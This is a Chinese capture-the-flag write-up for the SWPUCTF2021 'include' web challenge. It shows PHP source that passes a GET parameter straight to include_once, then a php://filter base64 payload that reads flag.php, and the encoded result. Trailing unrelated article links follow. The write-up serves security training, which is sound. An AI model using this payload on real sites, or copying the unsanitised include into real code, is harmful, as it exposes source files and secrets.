NSSCTF每日一练 SWPUCTF2021 include--web

这道题是出自SWPUCTF2021的新生赛。

题目打开给了一个你能上传文件吗?

那么直接在url栏尝试get传参(直接在url后面加?file)

那么就可以看到php的源码

复制代码
 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

可以看到有个ini_set 设置了参数为on;可以用php伪协议filter进行文件读取。直接读取flag所在的目录也就是flag.php。那么payload就是:URL+/?file=php://filter/read=convert.base64-encode/resource=flag.php;然后得到了

PD9waHANCiRmbGFnPSdOU1NDVEZ7MGFiZTg3MTQtYThiOS00ZGYyLWIzZGMtYWY0MzE3NTM2NzJifSc7。一眼base64,直接cyberchef解。

相关推荐
Mr_chiu15 小时前
AI加持的交互革新:手把手教你用Vue3打造智能模板输入框
前端
精神状态良好15 小时前
告别聊天式编程:引入 OpenSpec,构建结构化的 AI 开发工作流
前端
WangHappy15 小时前
出海不愁!用Vue3 + Node.js + Stripe实现全球支付
前端·node.js
林希_Rachel_傻希希15 小时前
手写Promise最终版本
前端·javascript·面试
visnix15 小时前
AI大模型-LLM原理剖析到训练微调实战(第二部分:大模型核心原理与Transformer架构)
前端·llm
老妪力虽衰15 小时前
零基础的小白也能通过AI搭建自己的网页应用
前端
褪色的笔记簿15 小时前
在 Vue 项目里管理弹窗组件:用 ref 还是用 props?
前端·vue.js
消失的旧时光-194315 小时前
从 C 链表到 Android Looper:MessageQueue 的底层原理一条线讲透
android·数据结构·链表
方白羽15 小时前
Android 中Flags从源码到实践
android·app·客户端
Danny_FD15 小时前
使用Taro实现微信小程序仪表盘:使用canvas实现仪表盘(有仪表盘背景,也可以用于Web等)
前端·taro·canvas